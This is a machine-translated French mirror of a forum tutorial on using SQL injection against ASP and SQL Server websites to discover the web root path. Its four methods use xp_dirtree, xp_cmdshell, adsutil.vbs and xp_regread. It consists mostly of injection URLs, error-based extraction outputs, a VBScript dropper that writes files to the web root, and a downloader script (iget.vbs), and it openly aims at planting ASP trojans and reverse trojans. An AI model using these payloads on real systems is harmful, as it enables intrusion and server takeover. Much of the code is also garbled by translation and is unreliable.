Cet article est un article miroir de traduction automatique, veuillez cliquer ici pour accéder à l’article original.

Vue: 11906|Répondre: 0

[Tutoriel de sécurité] Injection SQL pour obtenir le chemin complet du site web

[Copié le lien]
Publié sur 07/02/2015 22:19:16 | | |
Injection SQL pour obtenir le chemin complet du site web

Si le site ne propose que 80 ports, vous trouverez les méthodes suivantes plus utiles
Presque toutes les méthodes utilisées ne sont pas ce que j’ai découvert, et l’article inclut toujours une expérience personnelle et des compétences lors de l’injection
Il existe 4 méthodes (désormais connues)

Première méthode :

C’est la <怪异的SQL注入>méthode introduite dans < >
En utilisant la xp_dirtree de sqlserver, parlons d’abord de la méthode, puis de ses avantages et inconvénients (quelques ajouts sont faits sur la base du texte original)

Créer des tables

Déclaration :http://www.xxxxx.com/down/list.asp?id=1;create  Dirs de tableaux (Paths Varchar(1000))--
Retour : Informations normales ! Cela signifie que la table est créée avec succès ! Allez!
(Celui construit est un peu plus grand que l’original, car j’ai rencontré un fichier avec un nom long, et j’ai supprimé l’identifiant car il est inutile)

Déclaration :http://www.xxxxx.com/down/list.asp?id=1;insert  Exécutif des Réalisateurs master.dbo.xp_dirtree 'C :\' --
Retours : Informations normales. Cela signifie que tous les répertoires écrits sur le lecteur C sont réussis ! Génial ! L’étape suivante est de récupérer le compteur ! Violez-la et faites-le sortir. (Il semble qu’il n’y ait qu’une seule façon de faire cela)

Déclaration :http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionner les chemins du top 1 à partir de dirs) -
Retours : Microsoft OLE DB Provider for SQL Server erreur 80040e07
L’erreur de syntaxe survient lors de la conversion de la valeur varchar '@Inetpub' en une colonne avec le type de données int.

Ensuite, les noms des répertoires dans le tableau sont à tour de peu !

Déclaration :http:// http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionnez les chemins top 1 de
Dirs où les chemins ne sont pas dans ( '@Inetpub'))--
Retours : Microsoft OLE DB Provider for SQL Server erreur 80040e07
Une erreur de syntaxe s’est produite lors de la conversion de la valeur varchar 'test' en une colonne avec le type de données int.

Ensuite, les noms des répertoires dans le tableau sont à tour de peu !
Bon, continuons

Déclaration :http:// http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionnez les chemins top 1 de
dirs où les chemins ne sont pas dans ( '@Inetpub','test'))--
Retours : Microsoft OLE DB Provider for SQL Server erreur 80040e07
L’erreur de syntaxe survient lors de la conversion de la valeur varchar 'haha' en une colonne avec le type de données int.

Ensuite, les noms des répertoires dans le tableau sont à tour de peu !

D’accord, tu devrais savoir faire, haha, ajoute juste le nom du tableau que tu as à cette parenthèse, mets-en autant que tu veux,

Un petit tour :

Parfois, vous constaterez que lorsque l’entrée est similaire

http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionner les chemins du top 1 à partir de dirs) -

Au lieu d’afficher une erreur, la page web est affichée normalement
Étourdi, ne sois pas nerveuse
Regardez 0<> (sélectionnez les chemins du top 1 depuis les dirs) pour montrer que le retour est un nombre,
Haha, teste-le et vois combien ça coûte

100>(sélectionnez les chemins du top 1 dans les dirs)

Retour à la normale
Haha, on peut vite deviner avec cette méthode que c’est plus grand ou moins
Bon, continuons
Par exemple, quand il apparaît

59=(sélectionner les chemins du top 1 à partir de dirs)

Retour à la normale,
OK, le nom est 59
Entrez comme suit

http:// http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionnez les chemins top 1 de
Dirs où les chemins ne sont pas dans ('59'))--

N’oubliez pas de mettre des guillemets
La méthode suivante est la même que l’originale
Il y a aussi un problème
Parfois, en saisissant 59 avec la méthode ci-dessus, je constate que le dossier suivant est toujours 59
Que se passe-t-il?
Hehe, je ne sais pas si tu as remarqué que 059 et 59 sont pareils ?
C’est pour ça haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionnez les chemins top 1 de
Dirs où les chemins ne sont pas dans ('059'))--

J’ai remarqué que le nom du dossier suivant s’affiche, d’accord

Analyse des avantages et des inconvénients :

L’avantage est que tous les utilisateurs de sqlserver peuvent l’utiliser, car xp_dirtree applique la permission PUBLIC,
L’inconvénient est qu’il affiche les noms de tous les dossiers dans le répertoire, et l’organisation semble nulle dans l’ordre ; en résumé, il est pénible de trouver le dossier que l’on veut dans des milliers ou des dizaines de milliers de dossiers.
Et vous savez que ce dossier n’est pas garanti d’être dans le répertoire racine, ce qui est vraiment pénible, souvent cela dépend de la chance et de l’endurance.
Je te souhaite bonne chance

Méthode 2 :

Utilisez xp_cmdshell

Haha, tout le monde doit connaître ça, laissez-moi dis-le brièvement

Créer des tables

Déclaration :http://www.xxxxx.com/down/list.asp?id=1;create  Dirs de tableaux (Paths Varchar(1000))--
Retour : Informations normales ! Cela signifie que la table est créée avec succès ! Allez!
(Celui construit est un peu plus grand que l’original, car j’ai rencontré un fichier avec un nom long, et j’ai supprimé cet identifiant car il est inutile.)

Déclaration :http://www.xxxxx.com/down/list.asp?id=1;insertDirection exécutive master.dbo.xp_cmdshell 'Dir : C :\ /B/D'--
Retours : Informations normales. Cela signifie que tous les répertoires écrits sur le lecteur C sont réussis ! dir c :\ /B/D est utilisé ici, haha, si vous ne savez pas ce que fait /B/D, essayez de voir ce que ça fait

Déclaration :http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionner les chemins du top 1 à partir de dirs) -
Retours : Microsoft OLE DB Provider for SQL Server erreur 80040e07
L’erreur de syntaxe survient lors de la conversion de la valeur varchar '@Inetpub' en une colonne avec le type de données int.

Ensuite, les noms des répertoires dans le tableau sont à tour de peu !

Déclaration :http:// http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionnez les chemins top 1 de
Dirs où les chemins ne sont pas dans ( '@Inetpub'))--
Retours : Microsoft OLE DB Provider for SQL Server erreur 80040e07
Une erreur de syntaxe s’est produite lors de la conversion de la valeur varchar 'test' en une colonne avec le type de données int.

Ensuite, les noms des répertoires dans le tableau sont à tour de peu !

La méthode est la même que ci-dessus, donc je n’en parlerai pas

Parfois, nous pouvons aussi faire quelque chose avec les deux extensions suivantes

1) Nous pouvons profiter de xp_availablemedia pour obtenir tous les disques actuels et les enregistrer dans la table des dirs :

5 ; insérer dirs exécutif master.dbo.xp_availablemedia ; --

Nous pouvons obtenir la liste des disques et les informations associées en interrogeant le contenu de temporaire

(2) Nous pouvons utiliser xp_subdirs pour obtenir la liste des sous-répertoires et les stocker dans la table des dirs :

5 ; insérer dans les dirs exécutif master.dbo.xp_subdirs 'c :\' ; --

Analyse des avantages et des inconvénients :

Évidemment, cela ne xp_dirtree pas la situation où tous les répertoires sont réunis, seul le répertoire de premier niveau sera affiché, ce qui est beaucoup plus facile à trouver.
Les inconvénients sont aussi évidents, seule SA a cette permission, et il est aussi possible que l’administrateur ait supprimé cette extension (après tout, elle est trop puissante).

Méthode 3 :

Cette approche est bonne
Voici le texte original
J’ai pensé utiliser le programme adsutil.vbs, que j’ai exécuté

a'; Maître exécutif... xp_cmdshell 'cmd /c cscript c :\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt' ; --

Ce n’est pas long ? Grâce à cela, nous pouvons créer le premier site web virtuel dans IIS (y compris le répertoire où il se trouve, bien sûr)
Importer dans a.txt
La position par défaut de l’emplacement réel du a.txt est bien sûr c :\winnt\system32, ce qui n’est en réalité pas un problème, mais lorsqu’on rencontre un administrateur qui active adsutil.vbs
Supprimez-le ou mettez-le ailleurs
Nous ne pouvons rien y faire (vous ne pouvez pas en écrire un vous-même avec la commande écho)

Étape 2 : Utilisez la commande echo pour écrire le code suivant en c :\, ce qui n’est pas beaucoup

..... xp_cmdshell 'echo set fso1=createobject(« scripting.filesystemobject">c :\read.vbs' ; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject(« Wscript.Shell">>c :\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set fso1=createObject(« scripting.filesystemobject »
Set WshShell = Wscript.createObject(« Wscript.Shell »
spa=WshShell.Environnement(« processus"(« windir »
Set Fil =FSO1.OpenTextFile(SPA & « \System32\aa.txt »
faire pendant que je ne suis pas fil.atendofstream
nr=fil.readline
si left(nr,4)="Chemin » alors
pa=mid(nr,instr(nr," » 3,len(nr)-instr(nr," »-3)
Sortie do
fin si
Boucle
Set fil1 =fso1.opentextfile(pa & « \dd.asp »,2,true)
fil1.writeline «  »
--------------- coupe ici -------------------------------------

Étape 3 : Bien sûr, il s’agit d’exécuter read.vbs, afin de pouvoir lire le contenu du aa.txt et trouver le chemin réel du site web
Ensuite, écrivez un fichier appelé dd.asp dans le répertoire racine du site web, et vous saurez si vous pouvez l’essayer avec succès
exécuterhttp://x.x.x.x/dd.asp
Retour : \xxx
Haha, c’est une bonne méthode,
Cependant, le texte original semble présenter quelques problèmes
C’est vrai

set fil =fso1.opentextfile(spa %2B « \system32\aa.txt »
set fil1 =fso1.opentextfile(pa %2B"\dd.asp »,2,true)

L’erreur survient lorsque deux phrases sont soumises
Nous avons donc créé le signe plus, qui a la même fonction que &
Et sur quoi écrire dd.asp ? Écris à papa, haha
Haha, j’ai changé

-------------------read.vbs---------------------------------
Set fso1=createObject(« scripting.filesystemobject »
Set WshShell = Wscript.createObject(« Wscript.Shell »
spa=WshShell.Environnement(« processus"(« windir »
Set fil =fso1.opentextfile(spa « \system32\aa.txt »
faire pendant que je ne suis pas fil.atendofstream
nr=fil.readline
si left(nr,4)="Chemin » alors
pa=mid(nr,instr(nr," » 3,len(nr)-instr(nr," »-3)
Sortie do
fin si
Boucle
Set fil1 =fso1.opentextfile(PA « \dd.asp »,2,true)
fil1.writeline pa
--------------- coupe ici --------------------------------------
Parce que le numéro d’heure est converti en espace lors de la soumission dans un navigateur, vous devez également définir le
Cela devient 2 % de miliards, d’accord, ça devrait aller, comme suit
-------------------read.vbs---------------------------------
Set fso1=createObject(« scripting.filesystemobject »
Set WshShell = Wscript.createObject(« Wscript.Shell »
spa=WshShell.Environnement(« processus"(« windir »
set fil =fso1.opentextfile(spa %2B « \system32\aa.txt »
faire pendant que je ne suis pas fil.atendofstream
nr=fil.readline
si left(nr,4)="Chemin » alors
pa=mid(nr,instr(nr," » 3,len(nr)-instr(nr," »-3)
Sortie do
fin si
Boucle
set fil1 =fso1.opentextfile(ppa %2B « \dd.asp »,2,true)
fil1.writeline pa
--------------- coupe ici --------------------------------------

Si nous constatons que 1 n’est pas là, nous pouvons devenir 2, 3, 4...........

a'; Maître exécutif... xp_cmdshell 'cmd /c cscript c :\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt' ; --

Mais cette méthode ne peut être utilisée que sous Windows 2000, car les adresses des nouveaux sites créés sous 2003 ne sont pas classées selon 1234, elles semblent générées aléatoirement, et j’en ai comparé plusieurs sous 2003
Aucune régularité n’a été trouvée.

Analyse des avantages et des inconvénients :

Idem pour xp_cmdshell Tous les utilisateurs ne peuvent pas l’utiliser ! Un autre problème est que le fichier adsutil n’existe pas nécessairement, ou n’est pas forcément dans ce chemin, bien que vous puissiez l’utiliser si vous l’avez prévu
Echo en écrit un (haha, ancien et ancien), et une autre question est : que se passe-t-il s’il y a beaucoup de sites sur l’hébergeur ? J’ai rencontré un hôte avec neuf sites, et seul le huitième est utile
Oui, faible, il est difficile pour quiconque d’avoir la patience de persister autant, peut-être que ça s’est effondré depuis longtemps. De plus, il ne peut pas être utilisé en 2003 !
Mais pour être honnête, cette méthode est effectivement une bonne méthode

Méthode 4 :

Cette méthode consiste à lire le chemin du registre à travers xp_regread etc
Ce qui suit est recommandé pour obtenir le chemin de la page web (lire le registre via des procédures stockées) :
Utilisez la procédure stockée intégrée xp_regread (lire la clé du registre, autorisation publique) :

Déclaration : http://www.xxx.com/list.asp?classid=1 ; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Déclare@test
Varchar (20) maître exécutif... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insérer dans les chemins
(Path) Valeurs (@test)

Chemin par défaut IIS dans le registre HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Utilisez le champ rafale pour lire la valeur de la base de données :

Déclaration : http://www.xxx.com/list.asp?classid=1 et 0<>(sélectionner les chemins top 1 depuis newtable)--return : Microsoft OLE DB Provider pour
L’erreur des pilotes ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] convertit la valeur varchar E :\www,,201 en type de données int
colonne.

Cela signifie que le répertoire de la page web est dans E :\www, et vous pouvez aussi utiliser FSO pour écrire directement sur le cheval de Troie ASP
Et si vous ne pouvez pas obtenir un annuaire web ? Il faut deviner si le site utilise le WEB par défaut ou le nom de domaine comme WEB.

déclare @o exécutif int sp_oacreate wscript.shell, @o exécutif sp_oamethod @o, exécute, NULL,' cscript.exe c :
\inetpub\wwwroot\mkwebdir.vbs -w « site web par défaut » -v « e », « e :\"' »

Créez un répertoire virtuel E sous le site WEB par défaut, pointant vers E : sous disque.

déclare @o exécutif int sp_oacreate wscript.shell, @o exécutif sp_oamethod @o, exécute, NULL,' cscript.exe c :
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e naviguer'

C’est bien d’ajouter des attributs de navigation au répertoire virtuel, par exemple. Ouvrez un service virtuel pour vous-même. En pensant à ces chemins de répertoire de pages web, j’ai presque la tête en panne. Là, j’ai ouvert les yeux. C’est le WEBSHELL qui utilise Microsoft
SQL est la fin de notre travail, et le prochain poste devrait être le vôtre.
Haha, la méthode est bonne, lisez-la via le formulaire d’inscription, pratique et rapide !

Analyse des avantages et des inconvénients :

L’avantage est, bien sûr, qu’il est pratique et rapide. L’inconvénient, c’est que vous ne pouvez voir que le chemin du site IIS par défaut, et si ce n’est plus le site par défaut, alors il n’y a rien à faire (je l’ai suivi avec Regsnape), si c’est sous 2003
C’est-à-dire que même le chemin du site par défaut n’est pas affiché ! En douleur

D’ailleurs, il existe d’autres moyens de continuer l’intrusion que de trouver le chemin du site, comme téléverser le cheval de Troie de rebond via tftp, ou écrire un iget.vbs pour télécharger le dongdong que vous souhaitez
Le code iget.vbs est le suivant :

--------- commence----------
Set xPost = createObject(« Microsoft.XMLHTTP »
xPost.Open « GET », LCase(WScript.Arguments(0),0
xPost.Send()
Définissez sGet = createObject("ADODB. Stream »
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
---------- fin-----------

Supplément à cet article :

Récemment, j’ai constaté que ma compréhension des instructions du président Mao n’était pas assez profonde, et je voudrais ajouter ici
En fait, les méthodes ci-dessus n’ont pas besoin d’être comparées xp_dirtree elles sont les meilleures, tant que cette méthode suffit
C’est juste parce que j’étais trop ..............
Aujourd’hui, je vais retrouver le secret de xp_dirtree
D’accord, passons à l’exécutif : xp_dirtree’d :/test'
Disons que nous avons deux dossiers dans test, test1 et test2, et test3 dans test1
Les résultats montrent

Profondeur des sous-répertoires
Test1 1
Test3 2
Test2 1

Haha, j’ai constaté qu’il n’y a aucune profondeur dans la série du répertoire
D’accord, sachez quoi faire

http://www.xxxxx.com/down/list.asp?id=1;create  Dirs de table (paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Direction exécutive master.dbo.xp_dirtree 'D :\' --
http://www.xxxxx.com/down/list.asp?id=1  et 0<>(sélectionnez les chemins top 1 à partir des dirs où id=1)-

Tant que id=1 est ajouté, il s’agit du répertoire de premier niveau.





Précédent:Pénétration d’intrusion : application des en-têtes HTTP
Prochain:Les captures d’écran de transfert Alipay sont générées d’un seul clic
Démenti:
Tous les logiciels, supports de programmation ou articles publiés par Code Farmer Network sont uniquement destinés à l’apprentissage et à la recherche ; Le contenu ci-dessus ne doit pas être utilisé à des fins commerciales ou illégales, sinon les utilisateurs assumeront toutes les conséquences. Les informations sur ce site proviennent d’Internet, et les litiges de droits d’auteur n’ont rien à voir avec ce site. Vous devez supprimer complètement le contenu ci-dessus de votre ordinateur dans les 24 heures suivant le téléchargement. Si vous aimez le programme, merci de soutenir un logiciel authentique, d’acheter l’immatriculation et d’obtenir de meilleurs services authentiques. En cas d’infraction, veuillez nous contacter par e-mail.

Mail To:help@itsvse.com